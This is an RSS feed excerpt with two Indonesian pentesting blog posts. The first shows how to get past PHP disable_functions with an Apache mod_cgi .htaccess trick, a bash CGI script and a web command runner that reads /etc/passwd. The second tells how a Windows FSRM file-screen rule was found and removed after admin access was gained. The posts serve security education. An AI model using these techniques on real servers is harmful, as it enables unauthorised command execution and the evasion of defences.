		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=428</guid>

					<description><![CDATA[<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti system, shell_exec, exec, eval dan lainnya Pada banyak [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti <em>system</em>, <em>shell_exec</em>, <em>exec</em>, <em>eval</em> dan lainnya</p>



<p>Pada banyak server, command syscall yang digunakan untuk melakukan eksekusi bash dan shell script di non-aktifkan untuk keperluan keamanan disini bertujuan agar attacker tidak dapat melakukan compromised lebih jauh pada target seperti melakukan <em>privilege escalation</em>, <em>pivoting</em>, <em>persistence </em>maupun <em>post exploitation</em>.</p>



<p>Jadi disini aku akan membahas salah satu teknik yang digunakan untuk melakukan bypass disable function yang memanfaatkan module cgi pada webserver apache dan yang perlu digaris bawahi untuk melakukan bypass menggunakan teknik ini harus ada requirement atau kondisi agar berhasil yaitu mod_cgi perlu diaktifkan dan kedua direktif AllowOverride pada konfigurasi apache harus aktif yang bertujuan agar kita bisa melakukan overwrite konfigurasi menggunakan .htaccess file.</p>



<p>Pertama setup lab pada vps atau di local untuk pengujian dan testing, selanjutnya jelas kita perlu install webserver apache dan lakukan setting disable function, karena case kali ini kita menggunakan php 8.3 jadi untuk php.ini kita perlu setting pada directory <em><strong>/etc/php/8.3/apache2</strong>/<strong>php.ini</strong></em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="970" height="477" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png" alt="" class="wp-image-429" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png 970w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-300x148.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-768x378.png 768w" sizes="auto, (max-width: 970px) 100vw, 970px" /></figure>



<p>kemudian kita perlu install cgi module pada apache lalu aktifkan menggunakan command a2enmod</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1025" height="207" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png" alt="" class="wp-image-430" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-300x61.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-768x155.png 768w" sizes="auto, (max-width: 1025px) 100vw, 1025px" /></figure>



<p>selanjutnya jangan lupa kita set direktif AllowOverride ke All hal ini bertujuan agar file .htaccess bisa ter-eksekusi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="910" height="545" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png" alt="" class="wp-image-432" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png 910w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-300x180.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-768x460.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<p>Setelah itu restart apache lalu kita perlu melihat dan verifikasi jika module cgi / mod_cgi dan disable function berhasil di konfigurasi, caranya sederhana cukup buat file php dan tambahkan syntax berikut:</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-901ba5ad6a255b2f17f510fc19cd1ada"><code>&lt;?php
echo "disable function: " . ini_get("disable_functions");
echo "&lt;br>&lt;br>";
echo "apache module: &lt;br>";
foreach(apache_get_modules() as $modules){
    echo $modules . "&lt;br>";
}

?></code></pre>



<p>Dan jika kita buka via browser</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="736" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png" alt="" class="wp-image-433" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-300x216.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-768x552.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942.png 1345w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini menunjukkan kita berhasil melakukan konfigurasi yang dimana kita tidak akan bisa melakukan eksekusi fungsi syscall karena semua fungsi syscall berbahaya kita lakukan disable dan kita akan manfaatkan mod_cgi ini untuk melakukan bypass disable function. </p>



<p>Sekilas tentang mod_cgi, jadi mod_cgi itu merupakan module cgi pada webserver apache yang memungkinkan webserver untuk melakukan handle dan eksekusi suatu CGI script yang dimana CGI sendiri merupakan protocol yang menyediakan cara untuk melakukan eksekusi script melalui request http contoh sederhananya kita bisa melakukan eksekusi pada file perl(.pl), python(.py) maupun bash(.sh) langsung dari web request atau browser.</p>



<p>Langkah awal kita perlu membuat directory baru dan menambahkan htaccess agar suatu extension dikenali dengan CGI script, simple-nya kita akan membuat bash script agar bisa langsung melakukan eksekusi command. Disini kita hanya perlu membuat htaccess dengan 2 direktif </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-ac845446031e70b280c87e6a7f870c91"><code>Options +ExecCGI
AddHandler cgi-script .bhitech</code></pre>



<p>Direktif pertama yaitu <strong><em>Options +ExecCGI</em></strong> yang memberitahu webserver untuk mengizinkan eksekusi CGI script lalu direcktif kedua webserver akan melakukan eksekusi jika ditemukan extension .bhitech dan untuk extension opsional kita bisa menambahkan apapun misalkan .cgi, .test, .hijack, .bypass dan lain lain ya</p>



<p>Langkah kedua kita perlu membuat bash script dengan extension .bhitech sederhana saja kita perlu shebang, content type dan command apa yang akan dijalankan</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25e724b5c3520c72467ee7b2c7fbcc0b"><code>#!/bin/bash
echo -ne "Content-type: text/html\n\n"
id</code></pre>



<p>Disini kita akan menjalankan command id untuk melihat id dan user kita sekarang jadi pada directory akan menjadi 2 file yaitu htaccess dan cgi script seperti ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="265" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png" alt="" class="wp-image-436" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-300x95.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-768x244.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Lalu jika kita open via browser pada file script.bhitech</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="362" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png" alt="" class="wp-image-437" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-768x271.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1536x543.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414.png 1670w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat command id tereksekusi yang berarti kita berhasil melakukan bypass disable function dan untuk command lain mudah saja kita ganti pada file script.bhitech misalkan uname -a<br></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png" alt="" class="wp-image-439" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-300x73.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-768x186.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1536x372.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745.png 1597w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Yang akan menampilkan informasi tentang kernel pada server. mungkin akan ribet jika harus modifikasi file untuk melakukan eksekusi command lain jadi disini aku membuat tools untuk melakukan automasi agar lebih mudah dan dinamis </p>



<p><a href="https://github.com/ibrahimzx/mod-cgi-disable-function">https://github.com/ibrahimzx/mod-cgi-disable-function</a></p>



<p>Untuk menggunakan cukup mudah dengan hanya menambahkan GET parameter ?cmd pada url </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="473" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png" alt="" class="wp-image-442" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-768x355.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459.png 1250w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini misalkan ingin membaca /etc/passwd tinggal tambahkan parameter <em><strong>?cmd=cat /etc/passwd</strong></em> dan command akan dieksekusi serta ditampilkan pada browser </p>



<p><strong><em>Penutup</em></strong></p>



<p>Teknik diatas merupakan salah satu dari sekian banyak cara untuk melakukan bypass pada disable function, disini agar pembaca lebih aware dengan tidak hanya mengandalkan disable function dan menganggap itu aman bahkan jika mod_cgi tidak diaktifkan attacker bisa memanfaatkan fungsi mail dengan <em><strong>LD_PRELOAD </strong></em>atau pada webserver <strong><em>nginx </em></strong>bisa dengan memanfaatkan <em><strong>php-fpm</strong></em> dan protocol gopher untuk mencapai eksekusi command. Ada juga teknik yang melakukan exploiation pada php itu sendiri dengan memanfaakan beberapa bug PHP yang sudah di publish pada <a href="https://bugs.php.net/">https://bugs.php.net/</a> seperti melakukan poisoning process dan menulis data berbahaya pada memory. Oke mungkin cukup sekian artikel kali ini dan semoga bermanfaat.</p>



<p><em>&#8220;Tidak ada akhir untuk pendidikan. Bukan berarti Anda membaca buku, lulus ujian, dan menyelesaikan pendidikan. Seluruh kehidupan, dari saat Anda lahir hingga saat Anda mati, adalah proses pembelajaran.&#8221;</em> <strong>&#8211; Jiddu Krishnamurti</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Mengenal cFSRM pada windows untuk menyulitkan heker</title>
		<link>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/</link>
					<comments>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 15 Nov 2024 11:26:38 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=328</guid>

					<description><![CDATA[<p>Pada saat aku melakukan pentesting dan mendapatkan initial access pada windows server terdapat perilaku yang aneh dimana pada directory C:/xampp/ dan subdirectory-nya tidak bisa dilakukan write file dengan extenstion tertentu seperti PHP, EXE, PS1 dan BAT ya mungkin saja extenstion tersebut dianggap berbahaya Disini aku mencoba beberapa pendekatan dan mengira ini masalah permission directory, karena [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/">Mengenal cFSRM pada windows untuk menyulitkan heker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Pada saat aku melakukan pentesting dan mendapatkan initial access pada windows server terdapat perilaku yang aneh dimana pada directory C:/xampp/ dan subdirectory-nya tidak bisa dilakukan write file dengan extenstion tertentu seperti PHP, EXE, PS1 dan BAT ya mungkin saja extenstion tersebut dianggap berbahaya </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="628" height="211" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131.png" alt="" class="wp-image-330" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131.png 628w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154131-300x101.png 300w" sizes="auto, (max-width: 628px) 100vw, 628px" /></figure>



<p>Disini aku mencoba beberapa pendekatan dan mengira ini masalah permission directory, karena disini mendapatkan privilege sebagai administrator mudah saja untuk mengubah permission pada directory</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="574" height="197" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228.png" alt="" class="wp-image-331" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228.png 574w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154228-300x103.png 300w" sizes="auto, (max-width: 574px) 100vw, 574px" /></figure>



<p>Melakukan reverse shell connection dan melihat permission directory sempat bingung karena tidak ada pembatasan permission pada directory <em><strong>xampp</strong></em> di satu sisi untuk file dengan extenstion lain yang tidak berbahaya seperti .txt, .jpg dan semacamnya itu bisa dilakukan write</p>



<p>Berfikir sejenak dan terfikir menjalankan nmap untuk melihat service yang running.</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="599" height="165" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634.png" alt="" class="wp-image-332" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634.png 599w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-154634-300x83.png 300w" sizes="auto, (max-width: 599px) 100vw, 599px" /></figure>



<p>Hoki sekali port 3389 RDP terbuka, karena kebanyakan windows server semacam ini menggunakan relay untuk menerima request yang masuk dari public network dan jarang sekali melakukan port forwarding 3389 melalui relay yang dijadikan reverse proxy</p>



<p>Langsung saja login RDP, karena privilege yang didapatkan yakni Administrator kita dengan mudah bisa membuat user baru menggunakan command <em><strong>net user</strong></em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="587" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-1024x587.png" alt="" class="wp-image-333" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-1024x587.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-300x172.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210-768x441.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155210.png 1330w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>oke masuk, hal pertama yang ku lakukan yaitu langsung membuka console powershell dengan hak Administrator dan mencoba untuk masuk pada system account melalui <strong><em>PsExec</em></strong>. <strong><em>NT/SYTEM</em></strong> itu merupakan permission tertinggi pada windwos</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="493" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559.png" alt="" class="wp-image-334" style="width:839px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559.png 493w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155559-300x151.png 300w" sizes="auto, (max-width: 493px) 100vw, 493px" /></figure>



<p>Terlihat jika pada directory <em><strong>C:\inetpub </strong></em>kita bisa execute dan write .exe file</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="608" height="278" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927.png" alt="" class="wp-image-335" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927.png 608w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-155927-300x137.png 300w" sizes="auto, (max-width: 608px) 100vw, 608px" /></figure>



<p>Wah tetap saja padahal disini kita sudah memakai system account dan juga owner directory itu milik system, ada yang ga beres sepertinya </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="250" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306.png" alt="" class="wp-image-336" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160306-768x230.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Program yang terinstall juga sangat sedikit yang hanya dipakai keperluan deployment dan tidak menunjukkan adanya antivirus third-party software </p>



<p>Dan disini aku langsung coba cek dari event log pada windows untuk identifikasi lebih lanjut</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="722" height="312" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816.png" alt="" class="wp-image-337" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816.png 722w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816-300x130.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-160816-720x312.png 720w" sizes="auto, (max-width: 722px) 100vw, 722px" /></figure>



<p>Indikasi dari event log application terdapat warning dengan deskripsi<em> file group which is not permitted on the system.</em> dan pada bagian source yang berasal dari service <strong><em>SRMSVC</em></strong></p>



<p><strong><em>SRMSVC</em></strong> itu merupakan source event log yang berasal dari <em><strong>FSRM</strong></em>(File Server Resource Manager), FSRM sendiri dipakai untuk management filesystem pada windows server. sekarang kita lihat konfigurasi registry dari SRMSVC pada path <em><strong>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\srmsvc</strong></em>\</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1013" height="514" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641.png" alt="" class="wp-image-339" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641.png 1013w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641-300x152.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-174641-768x390.png 768w" sizes="auto, (max-width: 1013px) 100vw, 1013px" /></figure>



<p>Tidak ada konfigurasi khusus yang terdapat pada hive registry <strong><em>SRMSVC</em></strong> dan disini sempat stuck sedikit dan lalu ingat jika <strong><em>SRMSVC</em></strong> merupakan source log pada <em><strong>FSRM</strong></em> yang harusnya konfigurasi terletak pada service <em><strong>FSRM</strong></em> itu sendiri</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="831" height="547" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700.png" alt="" class="wp-image-342" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700.png 831w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700-300x197.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175700-768x506.png 768w" sizes="auto, (max-width: 831px) 100vw, 831px" /></figure>



<p>Jika di lihat dari basic setting <em><strong>FSRM</strong></em>  tidak ada rules khusus tapi jika kita lihat pada konfigurasi file screen dengan command <em>Get-FsrmFileScreen</em></p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="494" height="199" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951.png" alt="" class="wp-image-343" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951.png 494w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-175951-300x121.png 300w" sizes="auto, (max-width: 494px) 100vw, 494px" /></figure>



<p>ya itu dia, jadi disini ada rule khusus untuk ignore atau menolak file berbahaya dengan keterangan <strong><em>Block Executable Files</em></strong> jadi disini bisa langsung saja dilakukan disable maupun remove atau kita juga bisa melihat rule FSRM ini pada server manager</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1025" height="356" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252.png" alt="" class="wp-image-344" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252-300x104.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181252-768x267.png 768w" sizes="auto, (max-width: 1025px) 100vw, 1025px" /></figure>



<p>Disini langsung ku lakukan remove rule menggunakan powershell</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="704" height="152" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613.png" alt="" class="wp-image-345" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613.png 704w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181613-300x65.png 300w" sizes="auto, (max-width: 704px) 100vw, 704px" /></figure>



<p>Setelah itu lalu kita coba write .php file pada directory xampp </p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="708" height="202" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738.png" alt="" class="wp-image-346" style="width:840px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738.png 708w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-15-181738-300x86.png 300w" sizes="auto, (max-width: 708px) 100vw, 708px" /></figure>



<p>Dan itu berhasil, terlihat disini tidak ada error dan kita bisa menulis suatu php file pada directory. Mungkin cukup disini cerita singkat ku pada saat melakukan pentesting dan disini aku hanya sekedar sharing yang mungkin berguna saat kalian mengalami hal yang sama, sekian happy hacking guyss <img src="https://s.w.org/images/core/emoji/16.0.1/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>



<p><em><strong>“Tidak ada yang akan berhasil kecuali kau melakukannya.”</strong></em> <em>-Maya Angelou</em></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/">Mengenal cFSRM pada windows untuk menyulitkan heker</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
